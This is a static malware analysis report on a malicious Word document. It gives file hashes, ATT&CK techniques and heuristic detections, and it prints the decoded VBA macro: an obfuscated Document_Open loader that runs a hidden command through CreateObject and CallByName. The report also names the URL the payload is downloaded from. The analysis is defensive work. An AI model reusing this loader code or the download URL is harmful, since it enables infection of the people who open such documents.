Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 96fa8632d9c08071…

MALICIOUS

Office (OLE)

286.5 KB Created: 2018-09-06 14:21:00 Authoring application: Microsoft Office Word First seen: 2019-05-16
MD5: bea8b7b7c09d405cc5ea102cea556aba SHA-1: a949e3518185abcb80837490a0d429e2592ff626 SHA-256: 96fa8632d9c080714127a099f08a745dfa2c4063eec7c7835467d32b484653cd
302 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains a VBA macro that is obfuscated and designed to execute automatically when the document is opened. The macro uses `CreateObject` and `CallByName` to execute a command that downloads and runs a payload from the URL `https://www.exp-resso.com/docs/images/control_panel_orders.png`. This indicates a macro-based downloader, likely intended for initial access via spearphishing.

Heuristics 8

  • ClamAV: Doc.Malware.Valyria-6756955-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Valyria-6756955-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • CallByName call high OLE_VBA_CALLBYNAME
    CallByName call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://www.exp-resso.com/docs/images/control_panel_orders.png In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 906 bytes
SHA-256: d4f97115ba7779a2447d8ecbc84d29acedfc14b2e0a0192aee745d31500d1c76
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit
Private Function RG_(ByVal GV_ As String)
Dim P_ As String
Dim DG_ As Long
For DG_ = 1 To Len(GV_) Step 2
    P_ = P_ & Chr(Val(Chr(Val(Chr(51) & Chr(56))) & Chr(Val(Chr(55) & Chr(50))) & Mid(GV_, DG_, 2)) - 90)
Next
RG_ = P_
End Function
Sub Document_Open()
Application.Run "NHHS_"
End Sub
Private Sub NHHS_()
CallByName CreateObject(RG_("B1ADBDCCC3CACE88ADC2BFC6C6")), RG_("ACCFC8"), VbMethod, RG_(ActiveDocument.Variables("BSPLFY").Value), 0, True
End Sub

Private Function BWOUWBC_() As String
LIOISZ_(s, 1)TNBWDQD_:Dim GGRAWSCNQ_ = aTTIWNJAMW_:BWOUWBC_ = XGVFHGHGX_:
End Function

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